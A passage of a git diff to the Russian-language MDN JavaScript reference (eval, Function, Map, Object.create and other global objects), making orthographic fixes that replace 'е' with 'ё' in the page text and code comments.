      Также заметим, что следуя наиболее свежей RFC3986 для URL, которая делает квадратные скобки защищёнными (для IPv6) и таким образом не кодирует, когда формирование чего-либо, не являющегося частью URL (такое как домен), следующий сниппет поможет:

      function fixedEncodeURI (str) {
           return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
      diff --git a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
      index a0c6b028db..7493e53632 100644
      --- a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
      +++ b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
      @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
       ---
       
      {{jsSidebar("Objects")}}
      -

      encodeURIComponent() - метод, кодирующий компонент универсального идентификатора ресурса (URI) заменой каждой определенной последовательности символов одной, двумя, тремя или четырьмя последовательностями символов, представленных в кодировке UTF-8  (будет только 4 управляющих последовательности для символов, состоящих из 2 "суррогатных" символов).

      +

      encodeURIComponent() - метод, кодирующий компонент универсального идентификатора ресурса (URI) заменой каждой определённой последовательности символов одной, двумя, тремя или четырьмя последовательностями символов, представленных в кодировке UTF-8  (будет только 4 управляющих последовательности для символов, состоящих из 2 "суррогатных" символов).

      Синтаксис

      diff --git a/files/ru/web/javascript/reference/global_objects/error/index.html b/files/ru/web/javascript/reference/global_objects/error/index.html index 90a108b2a4..6ac3ffc666 100644 --- a/files/ru/web/javascript/reference/global_objects/error/index.html +++ b/files/ru/web/javascript/reference/global_objects/error/index.html @@ -37,7 +37,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Error

      Использование как функции

      -

      Когда Error используется как функции-- без {{jsxref("Operators/new", "new")}}, она возвращает Error объект. Следовательно простой вызов Error произведет тот же результат, что и конструктор Error объявленный через new.

      +

      Когда Error используется как функции-- без {{jsxref("Operators/new", "new")}}, она возвращает Error объект. Следовательно простой вызов Error произведёт тот же результат, что и конструктор Error объявленный через new.

      // this:
       const x = Error('I was created using a function call!');
      diff --git a/files/ru/web/javascript/reference/global_objects/escape/index.html b/files/ru/web/javascript/reference/global_objects/escape/index.html
      index edc41f8259..05ae768fd4 100644
      --- a/files/ru/web/javascript/reference/global_objects/escape/index.html
      +++ b/files/ru/web/javascript/reference/global_objects/escape/index.html
      @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/escape
       ---
       
      {{jsSidebar("Objects")}} {{deprecated_header}}
      -

      Устаревший метод escape() возвращает новую строку, в которой определенные символы заменены шестнадцатеричной управляющей последовательностью.  Используйте методы {{jsxref("encodeURI")}} или {{jsxref("encodeURIComponent")}} вместо него.

      +

      Устаревший метод escape() возвращает новую строку, в которой определённые символы заменены шестнадцатеричной управляющей последовательностью.  Используйте методы {{jsxref("encodeURI")}} или {{jsxref("encodeURIComponent")}} вместо него.

      Синтаксис

      diff --git a/files/ru/web/javascript/reference/global_objects/eval/index.html b/files/ru/web/javascript/reference/global_objects/eval/index.html index 0c32530435..49bec21796 100644 --- a/files/ru/web/javascript/reference/global_objects/eval/index.html +++ b/files/ru/web/javascript/reference/global_objects/eval/index.html @@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/eval

      eval() можно использовать для вычисления значения арифметического выражения, записанного в строковом виде, на более поздней стадии исполнения. Предположим, существует переменная x. Можно отложить вычисление выражения, в котором содержится х, если присвоить переменной это выражение в виде строки (допустим, "3 * x + 2"), а затем вызвать eval() в более поздней точке кода.

      -

      Если аргумент, переданный eval(), не является строкой, eval() возвращает его неизменным. В следующем примере определен конструктор String, и eval() не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа String.

      +

      Если аргумент, переданный eval(), не является строкой, eval() возвращает его неизменным. В следующем примере определён конструктор String, и eval() не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа String.

      eval(new String("2 + 2")); // возвращает объект типа String, содержащий "2 + 2"
       eval("2 + 2");             // возвращает 4
      @@ -62,7 +62,7 @@ eval(expression.toString());
         var x = 2, y = 4;
         console.log(eval("x + y"));  // Прямой вызов, использует локальную области видимости, результат - 6
         var geval = eval;
      -  console.log(geval("x + y")); // Непрямой вызов, использует глобальную область видимости, бросит ReferenceError, т.к. `x` - не определен
      +  console.log(geval("x + y")); // Непрямой вызов, использует глобальную область видимости, бросит ReferenceError, т.к. `x` - не определён
       }
       
      @@ -93,7 +93,7 @@ var result = obj[ propname ]; // obj[ "a" ] то же, что и obj.a

      Используйте функции вместо исполнения фрагментов кода

      -

      У JavaScript функции первого класса, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учетом этого, так что вы можете (и вам следует) писать:

      +

      У JavaScript функции первого класса, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учётом этого, так что вы можете (и вам следует) писать:

      // вместо setTimeout(" ... ", 1000) :
       setTimeout(function() { ... }, 1000);
      @@ -111,7 +111,7 @@ elt.addEventListener("click", function() { ... } , false); 

      Передавайте данные вместо кода

      -

      К примеру, расширение, созданное изменять содержимое веб-страниц, должно иметь правила, определенные в XPath, а не JS коде.

      +

      К примеру, расширение, созданное изменять содержимое веб-страниц, должно иметь правила, определённые в XPath, а не JS коде.

      Выполняйте код с ограниченными правами

      @@ -132,7 +132,7 @@ eval(z); // вернёт 42

      Использование eval для исполнения строки, содержащей операторы JavaScript

      -

      Следующий пример использует eval() для получения значения выражения str. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, eval() будет считать выражения выполненными, а также это установит значение выражению переменной z и вернет его.

      +

      Следующий пример использует eval() для получения значения выражения str. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, eval() будет считать выражения выполненными, а также это установит значение выражению переменной z и вернёт его.

      var x = 5;
       var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; ";
      @@ -141,7 +141,7 @@ console.log("z is ", eval(str));

      Последнее выражение выполняется

      -

      eval() вернет значение последнего выполняемого выражения

      +

      eval() вернёт значение последнего выполняемого выражения

      var str = "if ( a ) { 1+1; } else { 1+2; }";
       var a = true;
      @@ -202,7 +202,7 @@ var fct2 = eval(fctStr2)  // вернёт функцию
       

      Gecko-специфичные замечания

        -
      • Исторически eval() имел второй необязательный аргумент, указывающий на то, в контексте какого объекта будет выполняться выражение. Этот аргумент не был стандартизован и был удален из SpiderMonkey в Gecko 1.9.1 (Firefox 3.5). См. {{bug(442333)}}.
      • +
      • Исторически eval() имел второй необязательный аргумент, указывающий на то, в контексте какого объекта будет выполняться выражение. Этот аргумент не был стандартизован и был удалён из SpiderMonkey в Gecko 1.9.1 (Firefox 3.5). См. {{bug(442333)}}.

      Смотрите также

      diff --git a/files/ru/web/javascript/reference/global_objects/float32array/index.html b/files/ru/web/javascript/reference/global_objects/float32array/index.html index dcd127face..f8fbb0c603 100644 --- a/files/ru/web/javascript/reference/global_objects/float32array/index.html +++ b/files/ru/web/javascript/reference/global_objects/float32array/index.html @@ -185,7 +185,7 @@ var z = new Float32Array(buffer, 0, 4);

      Заметки по совместимости

      -

      Начиная с ECMAScript 2015 (ES6), Float32Array конструктор обязательно должен вызываться с ключевым словом {{jsxref("Operators/new", "new")}}. Вызов Float32Array конструктора как функцию приведет к исключению {{jsxref("TypeError")}}.

      +

      Начиная с ECMAScript 2015 (ES6), Float32Array конструктор обязательно должен вызываться с ключевым словом {{jsxref("Operators/new", "new")}}. Вызов Float32Array конструктора как функцию приведёт к исключению {{jsxref("TypeError")}}.

      var dv = Float32Array([1, 2, 3]);
       // TypeError: calling a builtin Float32Array constructor
      diff --git a/files/ru/web/javascript/reference/global_objects/function/bind/index.html b/files/ru/web/javascript/reference/global_objects/function/bind/index.html
      index d153dc9e5c..78061cd192 100644
      --- a/files/ru/web/javascript/reference/global_objects/function/bind/index.html
      +++ b/files/ru/web/javascript/reference/global_objects/function/bind/index.html
      @@ -32,18 +32,18 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
       
       

      Описание

      -

      Метод bind() создаёт новую "привязанную функцию" (ПФ).  ПФ - это "необычный функциональный объект" ( термин из ECMAScript 6 ), который является оберткой над исходным функциональным объектом. Вызов ПФ   приводит к исполнению кода обернутой функции.

      +

      Метод bind() создаёт новую "привязанную функцию" (ПФ).  ПФ - это "необычный функциональный объект" ( термин из ECMAScript 6 ), который является обёрткой над исходным функциональным объектом. Вызов ПФ   приводит к исполнению кода обёрнутой функции.

      ПФ имеет следующие внутренние ( скрытые ) свойства:

      • [[BoundTargetFunction]] - оборачиваемый  (целевой ) функциональный объект
      • -
      • [[BoundThis]] - значение, которое всегда передается в качестве значения   this при вызове обернутой функции.
      • +
      • [[BoundThis]] - значение, которое всегда передаётся в качестве значения   this при вызове обёрнутой функции.
      • [[BoundArguments]] - список значений, элементы которого используются в качестве первого аргумента при вызове оборачиваемой функции.
      • [[Call]] - внутренний метод. Выполняет код (функциональное выражение), связанный с функциональным объектом. 
      -

      Когда ПФ вызывается, исполняется ее внутренний метод [[Call]] со следующими аргументами Call(target, boundThis, args).

      +

      Когда ПФ вызывается, исполняется её внутренний метод [[Call]] со следующими аргументами Call(target, boundThis, args).

      • target   -    [[BoundTargetFunction]];
      • @@ -163,7 +163,7 @@ emptyObj.x + ',' + emptyObj.y;

        Пример: создание сокращений

        -

        Метод bind() также полезен в случаях, если вы хотите создать сокращение для функции, требующей определенное значение this.

        +

        Метод bind() также полезен в случаях, если вы хотите создать сокращение для функции, требующей определённое значение this.

        Возьмём, например, метод {{jsxref("Array.prototype.slice")}}, который вы можете использовать для преобразования массивоподобного объекта в настоящий массив. Вы можете создать подобное сокращение:

        diff --git a/files/ru/web/javascript/reference/global_objects/function/index.html b/files/ru/web/javascript/reference/global_objects/function/index.html index 4b6b4f5825..a097213c69 100644 --- a/files/ru/web/javascript/reference/global_objects/function/index.html +++ b/files/ru/web/javascript/reference/global_objects/function/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function

        {{JSRef}}

        -

        Function constructor создает новый объект Function. Вызов constructor создает функцию динамически, но страдает от проблем безопасности и аналогичных (но гораздо менее значительных) проблем производительности {{jsxref("eval")}}. Однако, в отличие от eval, конструктор функций создает функции, которые выполняются только в глобальной области..

        +

        Function constructor создаёт новый объект Function. Вызов constructor создаёт функцию динамически, но страдает от проблем безопасности и аналогичных (но гораздо менее значительных) проблем производительности {{jsxref("eval")}}. Однако, в отличие от eval, конструктор функций создаёт функции, которые выполняются только в глобальной области..

        {{EmbedInteractiveExample("pages/js/function-constructor.html")}}

        diff --git a/files/ru/web/javascript/reference/global_objects/function/name/index.html b/files/ru/web/javascript/reference/global_objects/function/name/index.html index 82a59765f2..b421c428a8 100644 --- a/files/ru/web/javascript/reference/global_objects/function/name/index.html +++ b/files/ru/web/javascript/reference/global_objects/function/name/index.html @@ -44,7 +44,7 @@ alert(doSomething.name); // выведет "doSomething"

        Предполагаемые имена функций

        -

        Переменные и методы могут предположить название анонимной функции из ее синтаксической позиции  (new in ECMAScript 2015).

        +

        Переменные и методы могут предположить название анонимной функции из её синтаксической позиции  (new in ECMAScript 2015).

        var f = function() {};
         var object = {
        @@ -79,7 +79,7 @@ alert(object.someMethod.name); //someMethod
         
         

        Для изменения name можно использовать {{jsxref("Object.defineProperty()")}}.

        -

        Сокращенные имена методов

        +

        Сокращённые имена методов

        var o = {
           foo(){}
        @@ -129,7 +129,7 @@ console.log(fooInstance.constructor.name); // logs "Foo"
         }
         
        -

        Со static name() методом Foo.name больше не содержит название класса, но отсылает к функции name(). Приведенное выше определение класса в ES2015 будет вести себя в Chrome и Firefx как в  ES5:

        +

        Со static name() методом Foo.name больше не содержит название класса, но отсылает к функции name(). Приведённое выше определение класса в ES2015 будет вести себя в Chrome и Firefx как в  ES5:

        function Foo() {}
         Object.defineProperty(Foo, 'name', { writable: true });
        @@ -189,7 +189,7 @@ if (b.constructor.name === 'Foo') {
           console.log('Oops!');
         }
        -

        В несжатой версии код выполняется ожидаемо "'foo' is an instance of 'Foo'". В то время, как в сжатой версии он ведет себя иначе. Если вы полагаетесь на Function.name, как в примере, то убедитесь, что pipeline не меняет код или не ожидайте от функции определенного имени.

        +

        В несжатой версии код выполняется ожидаемо "'foo' is an instance of 'Foo'". В то время, как в сжатой версии он ведёт себя иначе. Если вы полагаетесь на Function.name, как в примере, то убедитесь, что pipeline не меняет код или не ожидайте от функции определённого имени.

        diff --git a/files/ru/web/javascript/reference/global_objects/generator/index.html b/files/ru/web/javascript/reference/global_objects/generator/index.html index 8e530ff328..41498f0dfa 100644 --- a/files/ru/web/javascript/reference/global_objects/generator/index.html +++ b/files/ru/web/javascript/reference/global_objects/generator/index.html @@ -40,7 +40,7 @@ console.log(generator().next().value); // 1
        {{jsxref("Generator.prototype.return()")}}
        Возвращает заданное значение и заканчивает генератор.
        {{jsxref("Generator.prototype.throw()")}}
        -
        Выдает ошибку генератора.
        +
        Выдаёт ошибку генератора.

        Пример

        diff --git a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html index cfdf5d3bbc..77b096e858 100644 --- a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html +++ b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html @@ -26,11 +26,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw
      • done (boolean)
          -
        • Имеет значение true если iterator прошел конец итерируемой последовательности. В этом случае value опционально определяется выражением return value внутри итератора .
        • +
        • Имеет значение true если iterator прошёл конец итерируемой последовательности. В этом случае value опционально определяется выражением return value внутри итератора .
        • Имеет значение false если iterator имеет возможность вернуть следующее значение последовательности. Это равносильно когда свойство done не указано.
      • -
      • value - любое JavaScript значение,  возвращенное итератором. Может быть проигнорировано, когда done === true.
      • +
      • value - любое JavaScript значение,  возвращённое итератором. Может быть проигнорировано, когда done === true.
      • Примеры

        diff --git a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html index 4cce9504e9..56264cb71d 100644 --- a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html +++ b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction ---
        {{JSRef}}
        -

        GeneratorFunction constructor создает новый {{jsxref("Statements/function*", "generator function")}} объект. В JavaScript каждая функция-генератор - это фактически GeneratorFunction объект.

        +

        GeneratorFunction constructor создаёт новый {{jsxref("Statements/function*", "generator function")}} объект. В JavaScript каждая функция-генератор - это фактически GeneratorFunction объект.

        Обратите внимание, что GeneratorFunction - это не глобальный объект. Он может быть получен при выполнении следующего кода.

        @@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
        arg1, arg2, ... argN
        -
        Имена, используемые функцией как имена формальных аргументов. Каждый должен быть строкой, которая соответствует правильному JavaScript идентификатору или списком таких строк, разделенных запятыми; например "x", "theValue", или "a,b".
        +
        Имена, используемые функцией как имена формальных аргументов. Каждый должен быть строкой, которая соответствует правильному JavaScript идентификатору или списком таких строк, разделённых запятыми; например "x", "theValue", или "a,b".
        functionBody
        A string containing the JavaScript statements comprising the function definition.
        diff --git a/files/ru/web/javascript/reference/global_objects/globalthis/index.html b/files/ru/web/javascript/reference/global_objects/globalthis/index.html index ce4cb48419..0f12223b46 100644 --- a/files/ru/web/javascript/reference/global_objects/globalthis/index.html +++ b/files/ru/web/javascript/reference/global_objects/globalthis/index.html @@ -83,6 +83,6 @@ if (typeof globals.setTimeout !== 'function') {

        Прогресс реализации

        -

        В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в Test262, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.

        +

        В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция ещё не достигла стабильности в разных браузерах. Данные генерируются путём запуска соответствующих тестов функциональности в Test262, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.

        {{EmbedTest262ReportResultsTable("globalThis")}}

        diff --git a/files/ru/web/javascript/reference/global_objects/intl/index.html b/files/ru/web/javascript/reference/global_objects/intl/index.html index 4316488c58..cb0df3d472 100644 --- a/files/ru/web/javascript/reference/global_objects/intl/index.html +++ b/files/ru/web/javascript/reference/global_objects/intl/index.html @@ -47,7 +47,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Intl
      • "zh-Hans-CN": упрощённый китайский, используемый в Китае.
      • -

        Подметки, определяющие языки, письменности, страны (регионы) и (используется не часто) варианты в языковых метках BCP 47 могут быть найдены в Реестре языковых подметок IANA.

        +

        Подмётки, определяющие языки, письменности, страны (регионы) и (используется не часто) варианты в языковых метках BCP 47 могут быть найдены в Реестре языковых подмёток IANA.

        BCP 47 также позволяет использовать расширения, и одно из них имеет значение для функций интернационализации JavaScript: это расширение "u" (Unicode). Оно может использоваться для запрашивания настраиваемого языка-зависимого поведения объектов {{jsxref("Global_Objects/Collator", "Collator")}}, {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}} или {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}. Примеры:

        diff --git a/files/ru/web/javascript/reference/global_objects/isfinite/index.html b/files/ru/web/javascript/reference/global_objects/isfinite/index.html index eb1c6ee465..dcce428701 100644 --- a/files/ru/web/javascript/reference/global_objects/isfinite/index.html +++ b/files/ru/web/javascript/reference/global_objects/isfinite/index.html @@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/isFinite

        isFinite это функция верхнего уровня и она не связана ни с одним объектом.

        -

        Вы можете использовать эту функцию там, где требуется определить, является ли аргумент конечным числом. Функция isFinite исследует число в своем параметре. Если аргумент является NaN, положительной или отрицательной бесконечностью, метод вернет false; иначе возвращается true.

        +

        Вы можете использовать эту функцию там, где требуется определить, является ли аргумент конечным числом. Функция isFinite исследует число в своём параметре. Если аргумент является NaN, положительной или отрицательной бесконечностью, метод вернёт false; иначе возвращается true.

        Примеры

        @@ -59,7 +59,7 @@ isFinite(2e64); // true isFinite("0"); // true, но было бы false если использовать - // более надежный вариант Number.isFinite("0") + // более надёжный вариант Number.isFinite("0")

        Спецификации

        diff --git a/files/ru/web/javascript/reference/global_objects/map/delete/index.html b/files/ru/web/javascript/reference/global_objects/map/delete/index.html index f9e6cb1cf4..dfa69f8edb 100644 --- a/files/ru/web/javascript/reference/global_objects/map/delete/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/delete/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete

        Возвращаемое значение

        -

        true если элемент существовал в {{jsxref("Map")}} и он был удален или false если элемента с таким ключом не было.

        +

        true если элемент существовал в {{jsxref("Map")}} и он был удалён или false если элемента с таким ключом не было.

        Примеры

        diff --git a/files/ru/web/javascript/reference/global_objects/map/entries/index.html b/files/ru/web/javascript/reference/global_objects/map/entries/index.html index ccdd07a182..eb1a79956b 100644 --- a/files/ru/web/javascript/reference/global_objects/map/entries/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/entries/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries

        Метод entries() возвращает новый Итератор, содержащий пары [key, value] для каждого элемента объекта {{jsxref("Map")}} в том порядке, в котором они были заведены.

        -

        Исходный код всех примеров для  {{jsxref("Map")}} сохранен на GitHub https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map.

        +

        Исходный код всех примеров для  {{jsxref("Map")}} сохранён на GitHub https://github.com/mdn/interactive-examples/tree/master/live-examples/js-examples/map.

        Вы можете внести свой вклад, для этого: 

        diff --git a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html index 20111c1cdc..27b5c25aa0 100644 --- a/files/ru/web/javascript/reference/global_objects/map/foreach/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/foreach/index.html @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach

        Если аргумент thisArg указан для forEach, то при вызове callback он будет передан в качестве значения this.  В противном случае для this будет передано undefined. Значение this, в конечном итоге наблюдаемое в функции callback, определяется в соответствии c обычными правилами определения this в функции.

        -

        Каждое значение посещается один раз, за исключением случая, когда оно было удалено и добавлено снова до завершения forEach. callback не вызывается для значений, удаленных до их посещения. Новые значения будут посещены, если они добавлены до завершения forEach.

        +

        Каждое значение посещается один раз, за исключением случая, когда оно было удалено и добавлено снова до завершения forEach. callback не вызывается для значений, удалённых до их посещения. Новые значения будут посещены, если они добавлены до завершения forEach.

        forEach исполняет функцию callback один раз для каждого элемента в объекте Map; не возвращает значение.

        diff --git a/files/ru/web/javascript/reference/global_objects/map/get/index.html b/files/ru/web/javascript/reference/global_objects/map/get/index.html index ae4ca29646..be837c802e 100644 --- a/files/ru/web/javascript/reference/global_objects/map/get/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/get/index.html @@ -29,8 +29,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map/get
        var myMap = new Map();
         myMap.set('bar', 'foo');
         
        -myMap.get('bar');  // Вернет "foo".
        -myMap.get('baz');  // Вернет undefined.
        +myMap.get('bar');  // Вернёт "foo".
        +myMap.get('baz');  // Вернёт undefined.
         

        Спецификации

        diff --git a/files/ru/web/javascript/reference/global_objects/map/index.html b/files/ru/web/javascript/reference/global_objects/map/index.html index 4548a2f79a..fe13de74df 100644 --- a/files/ru/web/javascript/reference/global_objects/map/index.html +++ b/files/ru/web/javascript/reference/global_objects/map/index.html @@ -32,7 +32,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map

        Сравнение Объектов и Map

        -

        Объекты похожи на Map в том, что оба позволяют устанавливать значения по ключам, получать эти значения, удалять ключи и проверять их наличие. В связи с этим (и потому, что не было встроенных альтернатив), {{jsxref("Object", "Объекты")}} исторически использовались как Map. Однако, у них есть ряд отличий, который дает преимущества Map в ряде случаев:

        +

        Объекты похожи на Map в том, что оба позволяют устанавливать значения по ключам, получать эти значения, удалять ключи и проверять их наличие. В связи с этим (и потому, что не было встроенных альтернатив), {{jsxref("Object", "Объекты")}} исторически использовались как Map. Однако, у них есть ряд отличий, который даёт преимущества Map в ряде случаев:

        • Ключами {{jsxref("Object", "Объекта")}} выступают {{jsxref("String", "Строки")}} и {{jsxref("Symbol", "Символы")}}, в то время как любое значение может быть ключом Map, включая {{jsxref("Function", "функции")}}, {{jsxref("Object", "объекты")}} и {{Glossary("Primitive", "примитивы")}}.
        • @@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Map
          Map.prototype.clear()
          Удаляет все пары ключ / значение из объекта Map.
          Map.prototype.delete(key)
          -
          Возвращает true, если элемент в объекте Map существовал и был удален, или false, если элемент не существует. Map.prototype.has(key) вернет false позже.
          +
          Возвращает true, если элемент в объекте Map существовал и был удалён, или false, если элемент не существует. Map.prototype.has(key) вернёт false позже.
          Map.prototype.entries()
          Возвращает новый объект Iterator который содержит массив [key, value] для каждого элемента в объекте Map в порядке вставки.
          Map.prototype.forEach(callbackFn[, thisArg])
          diff --git a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html index 28d145db02..9fd81b98cd 100644 --- a/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html +++ b/files/ru/web/javascript/reference/global_objects/math/sqrt/index.html @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt

          Возвращаемое значение

          -

          Квадратный корень заданного числа. Если число отрицательное, то вернется {{jsxref("NaN")}}.

          +

          Квадратный корень заданного числа. Если число отрицательное, то вернётся {{jsxref("NaN")}}.

          Описание

          diff --git a/files/ru/web/javascript/reference/global_objects/nan/index.html b/files/ru/web/javascript/reference/global_objects/nan/index.html index 7c91aebb62..ca61ca7c3e 100644 --- a/files/ru/web/javascript/reference/global_objects/nan/index.html +++ b/files/ru/web/javascript/reference/global_objects/nan/index.html @@ -45,7 +45,7 @@ valueIsNaN(1); // false valueIsNaN(NaN); // true valueIsNaN(Number.NaN); // true -

          Тем не менее, обратите внимание на разницу между функцией isNaN() и методом Number.isNaN(): первая вернет true, если значение в настоящий момент является NaN, или если оно станет NaN после того, как преобразуется в число, в то время как последний вернет true, только если текущим значением является NaN:

          +

          Тем не менее, обратите внимание на разницу между функцией isNaN() и методом Number.isNaN(): первая вернёт true, если значение в настоящий момент является NaN, или если оно станет NaN после того, как преобразуется в число, в то время как последний вернёт true, только если текущим значением является NaN:

          isNaN('hello world');        // true
           Number.isNaN('hello world'); // false
          diff --git a/files/ru/web/javascript/reference/global_objects/null/index.html b/files/ru/web/javascript/reference/global_objects/null/index.html index 085018dc12..22f65596e9 100644 --- a/files/ru/web/javascript/reference/global_objects/null/index.html +++ b/files/ru/web/javascript/reference/global_objects/null/index.html @@ -40,14 +40,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/null

          Отличия между null и undefined

          -

          null является определенным значением отсутствия объекта, тогда как {{jsxref("Global_Objects/undefined", "undefined")}} обозначает неопределенность. Например: 

          +

          null является определённым значением отсутствия объекта, тогда как {{jsxref("Global_Objects/undefined", "undefined")}} обозначает неопределённость. Например: 

          var element;
          -// значение переменной element до ее инициализации не определенно: undefined
          +// значение переменной element до её инициализации не определённо: undefined
           
           element = document.getElementById('not-exists');
           // здесь при попытке получения несуществующего элемента, метод getElementById возвращает null
          -// переменная element теперь инициализирована значением null, ее значение определено
          +// переменная element теперь инициализирована значением null, её значение определено
           

          При проверке на null или {{jsxref("Global_Objects/undefined", "undefined")}}, помните о различии между операторами равенства (==) и идентичности (===): с первым, выполняется преобразование типов. 

          diff --git a/files/ru/web/javascript/reference/global_objects/object/create/index.html b/files/ru/web/javascript/reference/global_objects/object/create/index.html index bb1da1642e..9af356adc0 100644 --- a/files/ru/web/javascript/reference/global_objects/object/create/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/create/index.html @@ -34,7 +34,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/create

          Выбрасываемые исключения

          -

          Выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если параметр proto не является {{jsxref("Global_Objects/null", "null")}} или объектом (исключение составляют объекты-обертки примитивных типов).

          +

          Выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}, если параметр proto не является {{jsxref("Global_Objects/null", "null")}} или объектом (исключение составляют объекты-обёртки примитивных типов).

          Примеры

          @@ -170,7 +170,7 @@ o2 = Object.create({}, {   var hasOwn = Object.prototype.hasOwnProperty; return function (O) { -  // 1. Если Type(O) не является Object or Null выдается исключение TypeError. +  // 1. Если Type(O) не является Object or Null выдаётся исключение TypeError. if (typeof O != 'object') { throw TypeError('Object prototype may only be an Object or null'); } @@ -183,7 +183,7 @@ o2 = Object.create({}, { var obj = new Temp(); Temp.prototype = null; // Давайте не будем держать случайные ссылки на О... -  // 4.  Если аргумент Properties присутствует и не определен, добавляем +  // 4.  Если аргумент Properties присутствует и не определён, добавляем   // собственные свойства к obj, как будто вызывая стандартную встроенную   // функцию Object.defineProperties с аргументами obj и   // Properties. diff --git a/files/ru/web/javascript/reference/global_objects/object/entries/index.html b/files/ru/web/javascript/reference/global_objects/object/entries/index.html index 87a9de90b8..7487e1241a 100644 --- a/files/ru/web/javascript/reference/global_objects/object/entries/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/entries/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries ---
          {{JSRef}}
          -

          Object.entries() метод возвращает массив собственных перечисляемых свойств указанного объекта в формате [key, value], в том же порядке, что и в цикле {{jsxref("Statements/for...in", "for...in")}} (разница в том, что for-in перечисляет свойства из цепочки прототипов). Порядок элементов в массиве который возвращается Object.entries() не зависит от того как объект объявлен. Если существует необходимость в определенном порядке, то  массив должен быть отсортирован до вызова метода, например Object.entries(obj).sort((a, b) => a[0] - b[0]);.

          +

          Object.entries() метод возвращает массив собственных перечисляемых свойств указанного объекта в формате [key, value], в том же порядке, что и в цикле {{jsxref("Statements/for...in", "for...in")}} (разница в том, что for-in перечисляет свойства из цепочки прототипов). Порядок элементов в массиве который возвращается Object.entries() не зависит от того как объект объявлен. Если существует необходимость в определённом порядке, то  массив должен быть отсортирован до вызова метода, например Object.entries(obj).sort((a, b) => a[0] - b[0]);.

          {{EmbedInteractiveExample("pages/js/object-entries.html")}}

          diff --git a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html index 7bf1d17719..0a52348cb4 100644 --- a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries

          Описание

          -

          Метод Object.fromEntries() принимает список пар ключ-значение и возвращает новый объект, свойства которого задаются этими записями. Ожидается, что аргумент iterable будет объектом, который реализует метод @@iterator, который возвращает объект итератора, который создает двухэлементный массивоподобный объект, первый элемент которого является значением, которое будет использоваться в качестве ключа свойства, а второй элемент — значением связанного с этим ключом свойства.

          +

